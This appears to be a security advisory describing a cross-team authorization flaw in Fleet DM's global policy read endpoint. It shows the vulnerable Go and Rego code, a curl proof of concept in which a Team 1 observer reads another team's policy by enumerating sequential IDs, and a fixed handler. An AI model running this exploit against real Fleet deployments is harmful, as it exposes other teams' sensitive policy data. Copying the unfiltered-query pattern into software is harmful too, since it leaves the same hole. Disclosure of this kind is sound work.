Fleet DM Vulnerable to Cross-Team Policy Data Exposure via Global Policy Read Endpoint

 1func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
 2	// Auth check uses empty Policy{} — TeamID is nil
 3	if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
 4		return nil, err
 5	}
 6 
 7	// Fetches ANY policy by ID, regardless of team ownership
 8	policy, err := svc.ds.Policy(ctx, policyID)
 9	if err != nil {
10		return nil, err
11	}
12	// ... populates install_software and run_script, returns full policy
13	return policy, nil
14}

 1allow {
 2  is_null(object.team_id)
 3  object.type == "policy"
 4  team_role(subject, subject.teams[_].id) == [admin, maintainer, technician, observer, observer_plus][_]
 5  action == read
 6}

 1func policyDB(ctx context.Context, q sqlx.QueryerContext, id uint, teamID *uint) (*fleet.Policy, error) {
 2	teamWhere := "TRUE"  // nil teamID → no team filter
 3	args := []interface{}{id}
 4	if teamID != nil {
 5		teamWhere = "team_id = ?"
 6		args = append(args, *teamID)
 7	}
 8	// ... executes SELECT with WHERE p.id = ? AND {teamWhere}

 1# Step 1: Authenticate as User A (Team 1 observer only)
 2TOKEN=$(curl -s -X POST https://fleet.example.com/api/latest/fleet/login \
 3  -H 'Content-Type: application/json' \
 4  -d '{"email":"team1observer@example.com","password":"password"}' | jq -r '.token')
 5 
 6# Step 2: Enumerate policy IDs (they are sequential integers)
 7# Attempt to read a policy belonging to Team 2 (e.g., policy ID 5)
 8curl -s -H "Authorization: Bearer $TOKEN" \
 9  https://fleet.example.com/api/latest/fleet/policies/5
10 
11# Expected: 403 Forbidden (user has no access to Team 2)
12# Actual: 200 OK with full policy data:
13# {
14#   "policy": {
15#     "id": 5,
16#     "name": "Team 2 Sensitive Policy",
17#     "query": "SELECT * FROM sensitive_table WHERE ...",
18#     "team_id": 2,
19#     "passing_host_count": 42,
20#     "failing_host_count": 7,
21#     "description": "...",
22#     "resolution": "...",
23#     ...
24#   }
25# }

 1func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
 2	if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
 3		return nil, err
 4	}
 5 
 6	policy, err := svc.ds.Policy(ctx, policyID)
 7	if err != nil {
 8		return nil, err
 9	}
10 
11	// Verify this is actually a global policy — team policies must be
12	// accessed via the team-scoped endpoint which enforces team authorization
13	if policy.TeamID != nil {
14		return nil, authz.ForbiddenWithInternal(
15			"attempting to read team policy via global endpoint",
16			authz.UserFromContext(ctx),
17			policy,
18			fleet.ActionRead,
19		)
20	}
21 
22	if err := svc.populatePolicyInstallSoftware(ctx, policy); err != nil {
23		return nil, ctxerr.Wrap(ctx, err, "populate install_software")
24	}
25	if err := svc.populatePolicyRunScript(ctx, policy); err != nil {
26		return nil, ctxerr.Wrap(ctx, err, "populate run_script")
27	}
28 
29	return policy, nil
30}